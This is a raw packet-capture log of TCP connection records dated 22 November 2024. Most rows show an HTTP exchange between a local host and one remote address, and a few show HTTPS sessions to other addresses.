Nov 22, 2024 23:06:31.760298014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.760317087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.760451078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.764424086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.764476061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.764509916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.764554977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.768565893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.768611908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.768840075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.768884897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.772715092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.772792101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.809468985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.809556961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.809850931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.809904099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.811685085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.811791897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.812836885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.812886953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.815738916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.815898895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.855309010 CET	49821	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.855377913 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.855624914 CET	49821	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.856074095 CET	49822	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.856090069 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.856252909 CET	49821	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.856280088 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.856348038 CET	49822	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.856573105 CET	49822	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.856585979 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.869887114 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:31.869904995 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:31.893089056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.893146038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.893743992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.893795013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.894531965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.894545078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.894581079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.894603014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.897417068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.897469997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.897684097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.897732019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.900363922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.900419950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.900826931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.900882006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.903337955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.903400898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.905953884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.906002045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.906291008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.906303883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.906332970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.906352043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.909239054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.909250975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.909287930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.909301996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.912166119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.912322998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.913069963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.913120031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.915148020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.915175915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.915194035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.915327072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.918148994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.918232918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.918289900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.921442032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.921489000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.921577930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.921648026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.923983097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.924026966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.924315929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.924357891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.926922083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.926995993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.927099943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.927143097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.929847956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.929892063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.929898024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.930071115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.932805061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.932857037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.933024883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.933109999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.935802937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.935815096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.935848951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.935862064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.937990904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.938040972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.938178062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.938288927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.940181971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.940232038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.940407038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.940469980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.942240953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.942259073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.942289114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.942302942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.944405079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.944612980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.944817066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.944863081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.946702003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.946753979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.946808100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.946862936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.948724985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.948776960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.948976994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.949383020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.950869083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.950947046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.951056004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.951185942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.953037024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.953105927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.953109980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.953156948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.955198050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.955277920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.956835032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.956913948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.957357883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.957370996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.957412004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.959532022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.959592104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.959654093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.959781885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.961627960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.961685896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.961872101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.962023973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.963783026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.963860035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.964921951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.964988947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.965900898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.965970039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.967046022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.967119932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.968075991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.968192101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.968759060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.970215082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.970268965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.016762972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.016828060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.016856909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.016910076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.017880917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.017893076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.017956018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.020013094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.020112991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.020199060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.022171974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.022233963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.022806883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.022999048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.024296045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.024785995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.025528908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.051896095 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.052122116 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.052149057 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.053647995 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.053719044 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.054137945 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:32.054408073 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.054491043 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.054605007 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.054614067 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.073159933 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.076848030 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.076924086 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.076935053 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.085236073 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.085464954 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.085473061 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.098100901 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.099081039 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.099092960 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.103642941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.103713036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.103754044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.103790998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.104578972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.104774952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.104784012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.104825020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.106350899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.106389046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.106410980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.106431961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.107986927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.108078003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.108351946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.108398914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.109766006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.109843969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.109976053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.110107899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.111466885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.111524105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.111527920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.111577034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.113117933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.113176107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.113245964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.113295078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.114837885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.114993095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.115108013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.115165949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.116569996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.117094994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.126490116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.126552105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.126729965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.126782894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.128110886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.128125906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.128200054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.129082918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.129137039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.129292965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.129348040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.130790949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.130844116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.131140947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.131184101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.131277084 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.131335020 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.131371975 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.131386995 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.131833076 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.132530928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.132675886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.132703066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.132750988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.134246111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.134361029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.134454966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.135978937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.135991096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.136039019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.137706041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.137783051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.138192892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.138262987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.139404058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.139493942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.139588118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.139588118 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.141092062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.141151905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.141165972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.141206980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.142538071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.142549992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.142595053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.144033909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.144114017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.144253016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.144306898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.145221949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.145272970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.145314932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.145400047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.146600008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.146691084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.146876097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.147099018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.147887945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.147959948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.147969007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.148001909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.148552895 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:32.148664951 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:32.148988008 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:32.149192095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.149251938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.149290085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.149331093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.149539948 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:32.149559975 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:32.149570942 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:32.149576902 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:32.150541067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.150557041 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.150599003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.150645971 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.150664091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.150671959 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.150712013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.151870012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.151976109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.152729988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.152791977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.153184891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.153249025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.153404951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.153458118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.154548883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.154620886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.154700994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.154938936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.155848026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.155904055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.156486034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.156544924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.157188892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.157244921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.157454967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.157546997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.158523083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.158576965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.158761024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.158818007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.159846067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.159950972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.160248041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.160310030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.161170006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.161225080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.161226988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.161282063 CET	49762	80	192.168.2.5	185.215.113.206
